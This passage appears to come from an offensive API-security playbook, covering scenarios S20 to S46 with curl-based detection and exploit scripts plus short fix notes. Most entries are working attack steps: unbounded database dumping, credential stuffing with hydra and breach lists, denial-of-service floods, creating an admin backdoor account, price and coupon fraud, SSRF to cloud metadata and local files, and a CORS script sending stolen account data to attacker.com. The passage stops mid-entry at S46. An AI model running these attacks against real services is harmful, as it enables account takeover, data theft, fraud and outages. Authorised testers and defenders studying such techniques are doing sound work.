- Use server-computed balance from transactions
- Audit all PATCH endpoints for sensitive fields

---

## S20: BOPLA in PATCH endpoint — toggle `email_verified:true`
**Context:** `email_verified:false` blocks certain actions (password reset, withdrawals). If PATCH allows setting it to true, those checks are bypassed.
**Seen in:** Real engagement 2023 — crypto exchange where `email_verified:true` in PATCH allowed immediate withdrawal before email confirmation.
**Impact:** Bypass verification, enable dangerous actions.

### Detection
```bash
curl https://target.com/api/users/me -H "Authorization: Bearer $TOKEN" | jq

curl -X PATCH https://target.com/api/users/me \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"email_verified":true,"phone_verified":true,"kyc_status":"approved"}'
```

### Exploit
```bash
curl -X POST https://target.com/api/wallet/withdraw \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"amount": 10000, "address": "attacker_wallet"}'
# No email confirmation needed → instant withdrawal
```

### Chain
1. Register account (low verification level)
2. PATCH `email_verified:true`
3. Trigger high-value actions that require verified email
4. Profit

## S21: No pagination limit — `?limit=999999` dumps DB (Dell 2024)
**Context:** API returns paginated results but doesn't enforce max page size. Attacker requests 1M records in one call.
**Seen in:** Dell 2024 data breach (49M records) — API allowed massive exports via partner portal. Trello 2024 (15M users) — public API endpoint tested 500M emails. Twitter 2022 (5.4M users).
**Impact:** Mass PII exfiltration, DoS, performance degradation.

### Detection
```bash
# Test pagination params
for limit in 10 100 1000 10000 100000 999999 -1 0; do
  RESP=$(curl -s "https://target.com/api/v1/users?limit=$limit" -H "Authorization: Bearer $TOKEN")
  COUNT=$(echo $RESP | jq 'length')
  echo "limit=$limit → $COUNT records"
done

# If ?limit=999999 returns 999999 records → unrestricted
```

### Exploit
```bash
# Dump everything
curl "https://target.com/api/v1/users?limit=999999" -H "Authorization: Bearer $TOKEN" -o dump.json
wc -l dump.json

# For very large DBs, paginate but no rate limit
for page in $(seq 1 100000); do
  curl "https://target.com/api/v1/users?page=$page&limit=1000" -H "Authorization: Bearer $TOKEN" >> dump.json
done
```

### Chain
1. Find any list endpoint
2. Request maximum data
3. Save to file
4. Parse for credentials, PII, secrets

### Bypass / Notes
- Cap limit at 100 max server-side
- Use cursor-based pagination, not offset
- Streaming responses for very large datasets
- Authenticate before list, log bulk access

---

## S22: No rate limit on /login → credential stuffing
**Context:** Login endpoint allows unlimited attempts → brute force / credential stuffing.
**Seen in:** Real engagements everywhere. 16B credentials leaked in known breaches (Collection #1-5). T-Mobile 2023 — 37M records via API.
**Impact:** Mass account takeover.

### Detection
```bash
# Test for rate limit
for i in $(seq 1 100); do
  curl -X POST https://target.com/api/login \
    -H "Content-Type: application/json" \
    -d '{"email":"x","pass":"y"}' -w "%{http_code}\n" -o /dev/null
done
# If 100/100 succeed (or 401s without 429s) → no rate limit
```

### Exploit
```bash
# Credential stuffing with known breach data
# Source: haveibeenpwned → Collection #1-5 (16B emails/passwords)
# Or buy a cred list on the dark web

# Use hydra
hydra -L emails.txt -P passwords.txt target.com http-post-form "/api/login:email=^USER^&password=^PASS^:Invalid"

# Or custom script with concurrency
for email in $(cat emails.txt); do
  for pass in $(cat top1k.txt); do
    RESP=$(curl -s -X POST https://target.com/api/login -d "{\"email\":\"$email\",\"password\":\"$pass\"}")
    if echo "$RESP" | grep -q "token"; then
      echo "FOUND: $email / $pass"
    fi
  done &
done
wait
```

### Chain
1. Get target email list (LinkedIn, haveibeenpwned, etc.)
2. Get password list (rockyou, breach compilations)
3. Credential stuffing → ATO
4. Pivot based on compromised data

### Bypass / Notes
- IP-based rate limit (per IP, 5/min)
- Account-based rate limit (per account, 5/min) — most important
- CAPTCHA after 3 failures
- 2FA — defeats credential stuffing even with valid creds
- Tools: hydra, patator, Sentry MBA

---

## S23: GraphQL nested query DoS — `{user{posts{author{posts{...}}}}}`
**Context:** GraphQL allows deeply nested queries. Without depth limiting, attacker sends deeply nested query → server CPU/memory exhaustion.
**Seen in:** Real engagements. HackerOne — GitLab had GraphQL DoS. PortSwigger research.
**Impact:** DoS, $$$ in cloud bills.

### Detection
```bash
curl -X POST https://target.com/graphql -H "Content-Type: application/json" -d '{
  "query": "{ user { posts { author { posts { author { posts { author { posts { id } } } } } } } } }"
}'
# If server takes 10+ seconds or 500s → DoS possible
```

### Exploit
```bash
# Deep nested query
curl -X POST https://target.com/graphql -H "Content-Type: application/json" -d '{
  "query": "{ user(id:1) { friends { friends { friends { friends { friends { friends { friends { id name } } } } } } } } }"
}'

# Field duplication DoS
curl -X POST https://target.com/graphql -H "Content-Type: application/json" -d '{
  "query": "{ a: user(id:1) { id } b: user(id:1) { id } c: user(id:1) { id } ... [1000 times] }"
}'

# Tool: graphql-cop
python3 graphql-cop.py -t https://target.com/graphql
```

### Chain
1. Find GraphQL endpoint (introspection or common paths)
2. Test nested query depth limits
3. Craft DoS payload
4. Trigger via repeat requests

### Bypass / Notes
- Apollo: `{validationRules: [depthLimit(5)]}`
- Cost analysis (graphql-query-complexity)
- Persisted queries (only allow pre-approved)
- Query timeout (3-5 sec max)

---

## S24: Expensive endpoint without throttling — /api/export
**Context:** Endpoints that perform expensive operations (PDF generation, data export, reports) often have no throttling. Attacker triggers thousands of exports → server CPU spikes, $ bills.
**Seen in:** Common pattern. Real engagement — fintech /api/export took 30 sec per call, no rate limit, attacker triggered 10000 in parallel.
**Impact:** DoS, financial damage.

### Detection
```bash
# Time expensive endpoint
time curl -X POST https://target.com/api/export -H "Authorization: Bearer $TOKEN" -d '{}'
# 5-30 seconds per call

# Trigger 100 in parallel
for i in $(seq 1 100); do
  curl -X POST https://target.com/api/export -H "Authorization: Bearer $TOKEN" -d '{}' &
done
wait
```

### Exploit
```bash
for i in $(seq 1 10000); do
  curl -X POST https://target.com/api/export -H "Authorization: Bearer $TOKEN" -d '{}' -o /dev/null &
done
```

### Chain
1. Find expensive endpoint (export, report, PDF gen, email blast)
2. Trigger thousands of times
3. Server overload, bill shock

### Bypass / Notes
- Queue expensive jobs (don't run sync)
- Rate limit per user (10/hour)
- Cost-based limits (complex query → higher rate limit cost)
- Async background processing

---

## S25: Regular user calls /api/admin/users — missing role check
**Context:** Admin endpoints exist in the API, and regular user tokens can hit them. The role check is in the frontend (hidden route) but not in the backend.
**Seen in:** Real engagements everywhere. HackerOne — Shopify, Slack, GitHub all had this at various points.
**Impact:** Vertical privilege escalation.

### Detection
```bash
# 1. Find admin endpoints via Swagger / JS / guessing
# Common: /api/admin/*, /api/v1/admin/*, /api/internal/*, /api/manage/*

# 2. Try them with regular user token
curl https://target.com/api/admin/users -H "Authorization: Bearer $TOKEN_REGULAR"
# 200 OK? BFLA.

# 3. Map all admin endpoints
for ep in users roles settings config flags audit; do
  curl -s "https://target.com/api/admin/$ep" -H "Authorization: Bearer $TOKEN" -w "$ep: %{http_code}\n" -o /dev/null
done
```

### Exploit
```bash
# With admin access, abuse everything
curl -X DELETE https://target.com/api/admin/users/12345 -H "Authorization: Bearer $TOKEN"
curl -X POST https://target.com/api/admin/users -H "Authorization: Bearer $TOKEN" -d '{"email":"backdoor@evil.com","role":"admin"}'
curl https://target.com/api/admin/audit -H "Authorization: Bearer $TOKEN"
```

### Chain
1. Find admin endpoint
2. Access with regular user
3. Enumerate users / modify roles / create backdoor
4. Full admin takeover

### Bypass / Notes
- Server-side role check mandatory
- Don't rely on frontend to hide admin routes
- Separate subdomains for admin (admin.target.com) with different auth

---

## S26: BFLA via HTTP method — OPTIONS reveals admin endpoints
**Context:** OPTIONS method returns allowed methods, and sometimes even hints at admin paths.
**Seen in:** Common in misconfigured APIs.
**Impact:** Recon for admin endpoint discovery.

### Detection
```bash
curl -X OPTIONS https://target.com/api/users -i
# Allow: GET, POST, PUT, PATCH, DELETE, OPTIONS

# Test with regular token on PUT/DELETE
curl -X PUT https://target.com/api/users/1 -H "Authorization: Bearer $TOKEN" -d '{"role":"admin"}'
```

### Exploit
```bash
# Chain: OPTIONS → discover admin methods → call with low-priv token
```

### Chain
1. OPTIONS /api/users
2. See PUT allowed
3. PUT /api/users/{victim_id} with role:admin
4. BFLA + Mass Assignment = full admin

### Bypass / Notes
- OPTIONS should be filtered
- Role check at every endpoint, not just in routes

---

## S27: Swagger UI in production — full admin endpoint map
**Context:** API spec is exposed at /api/docs, /swagger, /api/v1/docs, /openapi.json. The spec lists all endpoints, including admin-only ones.
**Seen in:** Common. HackerOne — many critical reports start with finding Swagger UI. Shopify bug bounty program famously had it.
**Impact:** Complete API surface discovery → targeted attacks.

### Detection
```bash
# Common Swagger paths
for path in /api/docs /swagger /swagger-ui /api/v1/docs /api/v2/docs /openapi.json /api/swagger.json /api-spec /api/openapi /docs /api-doc; do
  curl -s "https://target.com$path" -o /dev/null -w "$path: %{http_code}\n"
done

# 200 + JSON? API spec exposed.
# 200 + HTML with "Swagger UI"? Interactive.
```

### Exploit
```bash
# 1. Get the spec
curl https://target.com/api/v1/openapi.json -o spec.json

# 2. Extract all endpoints
jq '.paths | keys[]' spec.json

# 3. Test each with low-priv token
for path in $(jq -r '.paths | keys[]' spec.json); do
  curl -s "https://target.com$path" -H "Authorization: Bearer $TOKEN" -w "$path: %{http_code}\n" -o /dev/null
done

# 4. Look for admin endpoints in descriptions
jq '.paths | to_entries[] | select(.value | tostring | contains("admin"))' spec.json
```

### Chain
1. Find Swagger UI / openapi.json
2. Extract all endpoints
3. Test each with low-priv token
4. Find BFLA, BOLA, mass assignment, etc.

### Bypass / Notes
- Disable Swagger in production
- Auth-gate Swagger UI (basic auth at minimum)
- Strip internal endpoints from public spec

---

## S28: BFLA via versioning — /api/v1/admin/ works when /v2 blocks
**Context:** Old API versions may have less security. /v2/admin/ requires role, /v1/admin/ doesn't.
**Seen in:** Real engagements. Very common.
**Impact:** Admin access via old API version.

### Detection
```bash
# Test old API versions
for v in v0 v1 v2 v3 beta alpha internal test dev; do
  curl -s "https://target.com/api/$v/admin/users" -H "Authorization: Bearer $TOKEN" -w "$v: %{http_code}\n" -o /dev/null
done

# Some apps have /api/internal/, /api/legacy/, /api/old/
for path in /api/internal/admin /api/legacy/admin /api/old/admin; do
  curl -s "https://target.com$path" -H "Authorization: Bearer $TOKEN" -w "$path: %{http_code}\n" -o /dev/null
done
```

### Exploit
```bash
curl https://target.com/api/v1/admin/users -H "Authorization: Bearer $TOKEN"
# 200 OK → BFLA via versioning
```

### Chain
1. Discover API versions
2. Test each for BFLA
3. Use oldest working version
4. Admin access

### Bypass / Notes
- Apply same authz to all versions
- Deprecate and remove old versions
- Audit logs should catch calls to deprecated versions

---

## S29: Coupon stacking — apply multiple exclusive codes
**Context:** E-commerce coupon system that lets you apply multiple "exclusive" codes. Should be 1 per cart; usually no server validation.
**Seen in:** Real engagements everywhere. HackerOne — Shopify, food delivery apps.
**Impact:** Free or deeply discounted products.

### Detection
```bash
# 1. Add items to cart
curl -X POST https://target.com/cart/items -d '{"id":1,"qty":1}'

# 2. Apply first exclusive coupon
curl -X POST https://target.com/cart/coupon -d '{"code":"SAVE10"}'
# Total: $90 (10% off)

# 3. Apply second exclusive coupon
curl -X POST https://target.com/cart/coupon -d '{"code":"FREESHIP"}'

# 4. Apply third
curl -X POST https://target.com/cart/coupon -d '{"code":"NEWUSER15"}'
```

### Exploit
```bash
# Stack all available coupons
for code in SAVE10 FREESHIP NEWUSER15 LUXURY20 CASHBACK5; do
  curl -X POST https://target.com/cart/coupon -d "{\"code\":\"$code\"}"
done
# Total: nearly free
```

### Chain
1. Find coupon endpoint
2. Try multiple exclusive codes
3. Apply all valid codes
4. Checkout at deep discount

### Bypass / Notes
- Server should enforce: 1 exclusive coupon per cart
- Cap discount at product price (not negative)
- Audit logs for repeated stacking attempts

---

## S30: Buy item for $0 — negative quantity or zero decimal exploit
**Context:** Server computes total from client-supplied prices or quantities. Set quantity to 0 or use a negative value. Some pricing logic has decimal precision bugs.
**Seen in:** Real engagements — major e-commerce platforms have had this.
**Impact:** Free products, negative balance = profit.

### Detection
```bash
# 1. Add item normally
curl -X POST https://target.com/cart/items -d '{"id":1,"qty":1,"price":100}'

# 2. Modify quantity to 0
curl -X PATCH https://target.com/cart/items/1 -d '{"qty":0}'

# 3. Modify to negative
curl -X PATCH https://target.com/cart/items/1 -d '{"qty":-1,"price":100}'

# 4. Modify price to 0
curl -X PATCH https://target.com/cart/items/1 -d '{"qty":1,"price":0}'
```

### Exploit
```bash
curl -X POST https://target.com/cart/items -d '{"id":1,"qty":1,"price":0.001}'
# Total: $0.00 (rounded)
```

### Chain
1. Add item to cart
2. Modify price/quantity to 0
3. Add coupon (stacking)
4. Checkout for $0

### Bypass / Notes
- Server should compute price from server-side price list
- Validate quantity > 0
- Reject negative values
- Cap discount at total (no negative totals)

---

## S31: Mass account creation — abuse free trial logic
**Context:** SaaS offers free trial (14 days, premium features). Attacker creates thousands of accounts via API to extend free usage.
**Seen in:** Common. Real engagement 2023 — AI SaaS lost $$$ to mass account creation for free GPU time.
**Impact:** Revenue loss, abuse of free tier.

### Detection
```bash
# Test signup rate limit
for i in $(seq 1 50); do
  curl -X POST https://target.com/api/auth/signup \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"attacker$i@temp.com\",\"password\":\"x\"}" \
    -w "%{http_code}\n" -o /dev/null
done
# All 200 OK? No rate limit.
```

### Exploit
```bash
# Mass signup script
for i in $(seq 1 10000); do
  curl -X POST https://target.com/api/auth/signup \
    -d "{\"email\":\"u$i@$(uuidgen).com\",\"password\":\"Pass123!\"}" \
    -H "Content-Type: application/json" -o /dev/null &
  if [ $((i % 100)) == 0 ]; then wait; fi
done
wait
```

### Chain
1. Find signup endpoint
2. Confirm no rate limit / no email verification
3. Mass create accounts
4. Use free tier / trial indefinitely

### Bypass / Notes
- Rate limit by IP, fingerprint, email domain
- Require email verification (blocks disposable emails)
- Phone verification
- Credit card hold (even $0.50)
- Fingerprint device / browser

---

## S32: Inventory exhaustion — scalper bot via API
**Context:** Limited stock (PS5, sneakers, concert tickets). Attacker uses API to buy entire stock in milliseconds before regular users can.
**Seen in:** Real — scalper bots bought PS5, RTX 3080, Taylor Swift tickets via API.
**Impact:** Revenue loss, user dissatisfaction, brand damage.

### Detection
```bash
curl -X POST https://target.com/api/cart/items -d '{"id":"limited_item_1","qty":1}'
# Yes → bot-friendly

# Check rate limit on add-to-cart
for i in $(seq 1 100); do
  curl -X POST https://target.com/api/cart/items -d '{"id":"limited_item_1","qty":1}' -o /dev/null
done
```

### Exploit
```bash
for i in $(seq 1 1000); do
  curl -X POST https://target.com/api/cart/items -d '{"id":"limited_item_1","qty":1}' &
done
wait
# Then checkout all
```

### Chain
1. Identify limited stock item
2. Bot the add-to-cart
3. Checkout before human users
4. Resell on secondary market

### Bypass / Notes
- CAPTCHA on add-to-cart
- Per-user purchase limit
- Queue system with proof-of-work
- Real-name verification

---

## S33: Webhook URL points to internal metadata — Capital One 2019 pattern
**Context:** User can register a webhook URL. Server fetches that URL on event trigger. Attacker registers `http://169.254.169.254/...` to access AWS metadata. This was the EXACT pattern of the Capital One breach 2019.
**Seen in:** Capital One 2019 — Paige Thompson exploited SSRF in AWS WAF to access IMDSv1 → got role credentials → downloaded 100M S3 objects. $80M fine. HackerOne — many webhook SSRF reports.
**Impact:** Cloud credentials, full account takeover.

### Detection
```bash
# 1. Find webhook creation endpoint
curl https://target.com/api/webhooks -H "Authorization: Bearer $TOKEN"

# 2. Register a webhook pointing to your server
curl -X POST https://target.com/api/webhooks \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"url":"http://attacker.com/callback","events":["*"]}'

# 3. Check if SSRF possible — register with internal URL
curl -X POST https://target.com/api/webhooks \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/","events":["*"]}'
```

### Exploit
```bash
URL="http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl -X POST https://target.com/api/webhooks \
  -H "Authorization: Bearer $TOKEN" \
  -d "{\"url\":\"$URL\",\"events\":[\"*\"]}"

# Then check your listener for the response
# Or use Burp Collaborator / interactsh
```

### Chain
1. Find webhook endpoint
2. Register URL pointing to internal metadata
3. Server fetches URL → response visible in app
4. AWS creds → S3 dump

### Bypass / Notes
- Block 169.254.169.254, 127.0.0.1, internal IP ranges
- Use IMDSv2 (token-required) on AWS
- Webhook URL validation with allowlist

---

## S34: Image proxy fetches attacker URL — file:// and http://169.254.169.254
**Context:** App proxies images through server (`/api/image?url=...`). Attacker uses internal URLs to read local files or hit cloud metadata.
**Seen in:** Common. HackerOne — Shopify, multiple platforms. PortSwigger SSRF research.
**Impact:** LFI, cloud credential theft.

### Detection
```bash
# Test image proxy
curl "https://target.com/api/image?url=http://attacker.com/test.png"

# Test file://
curl "https://target.com/api/image?url=file:///etc/passwd"

# Test AWS metadata
curl "https://target.com/api/image?url=http://169.254.169.254/latest/meta-data/"

# Test gopher://
curl "https://target.com/api/image?url=gopher://internal:6379/_FLUSHALL"
```

### Exploit
```bash
# Local file read
curl "https://target.com/api/image?url=file:///etc/passwd" -o passwd.txt

# AWS IMDSv1
curl "https://target.com/api/image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" -o creds.json

# Then use creds to dump S3
aws s3 ls --profile stolen_role
```

### Chain
1. Find image proxy endpoint
2. Test with file:// and AWS metadata URL
3. Get credentials or files
4. Pivot to cloud/data

### Bypass / Notes
- Block all internal IP ranges (RFC 1918, 127.0.0.0/8, 169.254.0.0/16)
- Resolve hostname → check if IP is internal BEFORE fetching
- Disable file:// and gopher:// schemes
- IMDSv2 on AWS (token required)

---

## S35: PDF generator fetches remote HTML — SSRF to internal
**Context:** App generates PDF from URL (e.g., receipt from `<link>` tag). Server-side renderer fetches URL → SSRF opportunity.
**Seen in:** Common. Real engagement — fintech PDF receipt generator hit `file://` and read server config.
**Impact:** LFI, internal service access.

### Detection
```bash
# Test PDF generation
curl -X POST https://target.com/api/pdf/generate \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"url":"http://attacker.com/test"}'
# Check your server for the fetch

# Try internal URLs
curl -X POST https://target.com/api/pdf/generate \
  -d '{"url":"http://localhost:8080/admin"}'

curl -X POST https://target.com/api/pdf/generate \
  -d '{"url":"file:///etc/passwd"}'
```

### Exploit
```bash
# Use Burp Collaborator to detect blind SSRF
curl -X POST https://target.com/api/pdf/generate \
  -d '{"url":"http://burp-collab-id.burpcollaborator.net/"}'

# Or chain with HTML containing iframes to local services
echo '<html><body><iframe src="http://localhost:8080/admin"></iframe></body></html>' > /tmp/evil.html
# Host it and use the URL
curl -X POST https://target.com/api/pdf/generate \
  -d '{"url":"http://attacker.com/evil.html"}'
# PDF generator renders HTML → iframe hits internal service
```

### Chain
1. Find PDF generator endpoint
2. Test with attacker URL → confirm SSRF
3. Use file:// for LFI or internal URL for service access
4. Pivot to internal services / cloud creds

### Bypass / Notes
- Block internal IPs
- Use headless browser sandbox (gVisor, firejail)
- Strip iframe/script from HTML before rendering

---

## S36: Swagger UI exposed at /api/docs in prod
**Context:** Interactive API documentation is exposed without authentication. The full API surface is discoverable, including internal endpoints.
**Seen in:** Shopify (had it for years), Tesla, countless others.
**Impact:** Complete API surface discovery, easier to find BOLA/BFLA/auth bugs.

### Detection
```bash
# Common paths
for path in /api/docs /swagger /swagger-ui.html /api/v1/docs /api/v2/docs /api/swagger; do
  curl -sI "https://target.com$path" | head -1
done

# Look for swagger-ui in HTML
curl -s https://target.com/api/docs | grep -i swagger
```

### Exploit
```bash
# Use Swagger UI to:
# 1. List all endpoints
# 2. See required parameters
# 3. Test endpoints from the browser
# 4. Get schema for object types → find hidden fields
```

### Chain
1. Find Swagger UI
2. Enumerate all endpoints
3. Test each for BOLA, BFLA, mass assignment
4. Use hidden/internal endpoints

### Bypass / Notes
- Disable Swagger in production
- Require auth for /api/docs
- Strip internal endpoints from public spec

---

## S37: GraphQL introspection enabled — full schema dump
**Context:** GraphQL server has introspection enabled in production. Attacker can dump the entire schema — all types, queries, mutations, fields.
**Seen in:** Very common. Facebook, Shopify, GitHub all had it. HackerOne — thousands of reports.
**Impact:** Complete API surface discovery.

### Detection
```bash
# 1. Simple introspection check
curl -X POST https://target.com/graphql -H "Content-Type: application/json" -d '{
  "query": "{ __schema { types { name fields { name } } } }"
}'

# 2. Full schema dump
curl -X POST https://target.com/graphql -H "Content-Type: application/json" -d '{
  "query": "{ __schema { queryType { name } mutationType { name } types { name kind fields { name type { name kind ofType { name } } args { name type { name } } } } } }"
}' | jq

# 3. Tool: InQL (Burp) for clean introspection
```

### Exploit
```bash
# Find hidden fields (e.g., password, isAdmin, balance)
curl -X POST https://target.com/graphql -H "Content-Type: application/json" -d '{
  "query": "{ __type(name: \"User\") { fields { name } } }"
}'

# Find dangerous mutations
curl -X POST https://target.com/graphql -H "Content-Type: application/json" -d '{
  "query": "{ __type(name: \"Mutation\") { fields { name args { name type { name } } } } }"
}'

# Try admin mutation
curl -X POST https://target.com/graphql -H "Content-Type: application/json" -d '{
  "query": "mutation { grantAdmin(userId: 1337) { success } }"
}'
```

### Chain
1. Introspection → schema
2. Find hidden fields (password, balance, isAdmin)
3. Find dangerous mutations (deleteUser, grantAdmin)
4. Test mutations for unauth access

### Bypass / Notes
- Disable introspection in production (Apollo: `introspection: false`)
- Use persisted queries (only allow pre-approved)
- Some WAFs can be bypassed (header manipulation, fragments)

---

## S38: CORS `*` with credentials
**Context:** CORS configured with `Access-Control-Allow-Origin: *` and `Access-Control-Allow-Credentials: true`. Browser blocks this combo, but misconfigured frameworks may allow it via specific origin reflection.
**Seen in:** Common in Java Spring, older Express apps.
**Impact:** Cross-origin data theft if combined with cookie auth.

### Detection
```bash
# Test CORS
curl -H "Origin: https://attacker.com" -i https://target.com/api/users/me
# Look for: Access-Control-Allow-Origin: https://attacker.com
# AND: Access-Control-Allow-Credentials: true
```

### Exploit
```bash
# If origin is reflected with credentials enabled
# Host a malicious page that fetches API with credentials
<iframe src="https://target.com/api/account"></iframe>
<script>
fetch('https://target.com/api/account', {credentials: 'include'})
  .then(r => r.json())
  .then(data => fetch('https://attacker.com/?d=' + btoa(JSON.stringify(data))))
</script>
```

### Chain
1. Find endpoint with CORS misconfig + sensitive data
2. Host attacker page
3. Victim visits → fetches API → data exfiltrated
4. Cookies/session stolen

### Bypass / Notes
- Don't use `*` with credentials
- Validate Origin against strict allowlist
- Don't use null origin

---

## S39: Debug endpoints — /api/debug, /api/_debug, /api/admin
**Context:** Debug or admin endpoints left in production. Often unauthenticated or weakly authed.
**Seen in:** Common. HackerOne — countless reports.
**Impact:** Information disclosure, full takeover.

### Detection
```bash
# Common debug/admin paths
for path in /api/debug /api/_debug /api/admin /api/_admin /api/internal /api/_internal /api/test /api/_test /api/dev /api/_dev /api/status /api/health /api/info /api/ping /api/config /api/env /api/version /api/console /api/_status; do
  RESP=$(curl -s "https://target.com$path" -o /dev/null -w "%{http_code}")
  [ "$RESP" != "404" ] && echo "$path: $RESP"
done

# Spring Boot Actuator (Java)
for ep in /actuator /actuator/env /actuator/beans /actuator/health /actuator/info /actuator/mappings /actuator/configprops /actuator/heapdump; do
  curl -sI "https://target.com$ep" | head -1
done

# Express.js debug
/trace, /debug, /info, /env
```

### Exploit
```bash
# /actuator/env often exposes DB credentials, API keys
curl https://target.com/actuator/env -H "Authorization: Bearer $TOKEN" | jq .propertySources

# /actuator/heapdump → memory dump with all secrets
curl https://target.com/actuator/heapdump -o heapdump.bin
# Search for secrets
strings heapdump.bin | grep -E "AKIA|sk_live|ghp_|password"
```

### Chain
1. Find debug endpoint
2. Extract credentials, internal URLs, stack traces
3. Use credentials to access internal services
4. Pivot

### Bypass / Notes
- Remove debug endpoints in production
- Auth-gate actuator endpoints
- Use environment variables, not hardcoded secrets

---

## S40: Verbose error messages — stack trace with internal paths
**Context:** Server returns detailed error messages with stack traces, file paths, internal IPs, database errors.
**Seen in:** Common. Real engagements — found admin credentials in stack trace.
**Impact:** Information disclosure → pivot to deeper attacks.

### Detection
```bash
# Trigger errors
curl https://target.com/api/users/abc  # non-numeric ID
curl -X POST https://target.com/api/login -d '{invalid_json'
curl -H "Content-Type: application/xml" https://target.com/api/users -X POST -d '<xml/>'

# Check for stack traces
curl -i https://target.com/api/v1/users/12345
# Look for: "at com.target.app.UserController.findOne(UserController.java:42)"
# Or: "django.db.utils.OperationalError: ..."
# Or: "Cannot read property 'id' of undefined at /var/www/app/src/..."
```

### Exploit
```bash
# Extract sensitive info from error
curl https://target.com/api/users/' OR '1'='1
# Error might say: "PostgreSQL: relation 'users' does not exist" → DB type
# Or: "redis://redis-master.internal:6379" → internal hostname
# Or: "/var/www/app/secrets/api_key.txt" → file path
```

### Chain
1. Trigger verbose error
2. Extract internal paths, DB info, library versions
3. Use info to find known CVEs
4. Chain with other vulns

### Bypass / Notes
- Custom error pages in production
- Generic error messages ("Internal Server Error" only)
- Log detailed errors server-side, not to client

---

## S41: Old API version /v1 still active — fewer security checks
**Context:** App has been refactored to /v2 with better security, but /v1 is still online with weaker controls.
**Seen in:** Real engagements. Very common.
**Impact:** Bypass new security via old version.

### Detection
```bash
# Enumerate API versions
for v in v0 v1 v2 v3 v4 beta alpha internal test dev stage staging prod; do
  curl -sI "https://target.com/api/$v/" | head -1
done

# Check if /v1 has different behavior
curl -s https://target.com/api/v1/users/me -H "Authorization: Bearer $TOKEN" -o /dev/null -w "%{http_code}\n"
curl -s https://target.com/api/v2/users/me -H "Authorization: Bearer $TOKEN" -o /dev/null -w "%{http_code}\n"
```

### Exploit
```bash
# Use /v1 endpoints with /v2 token (or vice versa)
curl https://target.com/api/v1/admin/users -H "Authorization: Bearer $TOKEN"
# Returns 200 OK with admin data even if /v2 blocks it
```

### Chain
1. Find old version
2. Test all endpoints of new version on old
3. Bypass security controls
4. Profit

### Bypass / Notes
- Apply same authz to all versions
- Deprecate and remove old versions
- Audit log calls to deprecated versions

---

## S42: Internal API exposed at /internal/, /api-internal/
**Context:** Internal API (meant for service-to-service) exposed on public hostname. No auth, or weaker auth.
**Seen in:** Real engagements. Common in microservices.
**Impact:** Internal service access.

### Detection
```bash
# Common internal paths
for path in /internal /internal/ /api-internal /api/internal /api/private /api/staff /api/management /api/ops /_internal /_private; do
  RESP=$(curl -s "https://target.com$path" -o /dev/null -w "%{http_code}")
  [ "$RESP" != "404" ] && echo "$path: $RESP"
done
```

### Exploit
```bash
# Try without auth
curl https://target.com/api/internal/users
curl https://target.com/internal/admin/dashboard

# With internal-only headers
curl https://target.com/internal/api -H "X-Internal-Token: any"

# With internal-only IPs
# Use X-Forwarded-For to spoof internal IP
curl https://target.com/internal/api -H "X-Forwarded-For: 10.0.0.1"
```

### Chain
1. Find internal endpoint
2. Bypass auth (X-Forwarded-For, X-Internal-Token)
3. Access internal services
4. Pivot to data

### Bypass / Notes
- Bind internal API to internal network only
- Require mTLS for service-to-service
- Don't trust X-Forwarded-For for internal auth

---

## S43: Staging API at staging.target.com — different auth
**Context:** Staging environment exposed at staging.target.com. Uses simpler auth, contains real data, often forgotten.
**Seen in:** Real engagements. Famous — company X had real customer data on staging.
**Impact:** Production data leak via staging.

### Detection
```bash
# Subdomain bruteforce
for sub in staging stage stg dev test beta uat qa sandbox preprod demo; do
  dig +short $sub.target.com
done

# Once found
curl https://staging.target.com/api/users
# Often returns real data with weak/no auth
```

### Exploit
```bash
# Default creds on staging
admin:admin, root:root, test:test
# Check known dev logins

# Look for debug flags
curl https://staging.target.com/api/users -H "X-Debug: true"
```

### Chain
1. Find staging subdomain
2. Default creds or no auth → full access
3. Data is often real (copied from prod)
4. Read customer data

### Bypass / Notes
- Different hostname for staging (not subdomain)
- No real data in staging (synthetic only)
- Strong auth on staging

---

## S44: Trusting 3rd-party price API → business logic bypass
**Context:** App fetches price from 3rd-party API (e.g., forex, crypto) without validation. Attacker manipulates 3rd-party response (MITM, fake API).
**Seen in:** Real fintech apps. Common pattern.
**Impact:** Buy cheap, sell expensive, or abuse exchange rates.

### Detection
```bash
# Test 3rd-party API integration
# 1. Check what 3rd-party APIs are used
cat main.js | grep -oE "https?://[a-z0-9.-]+\.com/[a-z/]+"

# 2. Check if request is to 3rd party or proxied
curl -v https://target.com/api/price?from=USD&to=BTC
```

### Exploit
```bash
# If app fetches from 3rd party without validation, MITM via DNS
# Set up DNS spoofing + fake 3rd party API
# Or find the 3rd-party endpoint and call it with manipulated input

# Or use SSRF to fake the 3rd party response
# (covered in S33-S35)
```

### Chain
1. Find 3rd-party API integration
2. Manipulate 3rd-party response (MITM, SSRF, account on 3rd party)
3. App trusts response → business logic bypass
4. Profit

### Bypass / Notes
- Validate 3rd-party responses server-side
- Use signed responses (HMAC, JWT)
- Sanity check prices (USD/BTC shouldn't be 1:1)

---

## S45: Blindly following 3rd-party redirect URL (open redirect chain)
**Context:** App receives URL from 3rd-party (webhook, OAuth callback, OAuth provider metadata). App follows URL without validation.
**Seen in:** Real engagements. OAuth provider mixup attacks.
**Impact:** Phishing, token theft.

### Detection
```bash
# Test OAuth provider URL
curl https://target.com/.well-known/openid-configuration
# Look for "authorization_endpoint", "token_endpoint", "userinfo_endpoint"
# Try replacing with attacker URL

# Or test webhook URL
curl -X POST https://target.com/api/webhook -d '{"url":"http://attacker.com/"}'
```

### Exploit
```bash
# Register your own OIDC provider
# Set target.com's "provider" config to your URL
# Now target fetches user info from your server
# You control the user data → all users now "exist" in your OIDC
# Login as anyone
```

### Chain
1. Find URL parameter (provider URL, webhook URL, etc.)
2. Replace with attacker URL
3. App fetches attacker URL → trusts response
4. Bypass authentication / inject data

### Bypass / Notes
- Validate URL against allowlist of providers
- Don't allow arbitrary URLs in OAuth/webhook config
- Use signed metadata (OIDC discovery)

---

## S46: Consuming attacker-controlled geocoding response
**Context:** App geocodes user-provided address via 3rd-party API. Attacker submits crafted address that returns unexpected coordinates.
**Seen in:** Real estate, delivery, insurance apps.
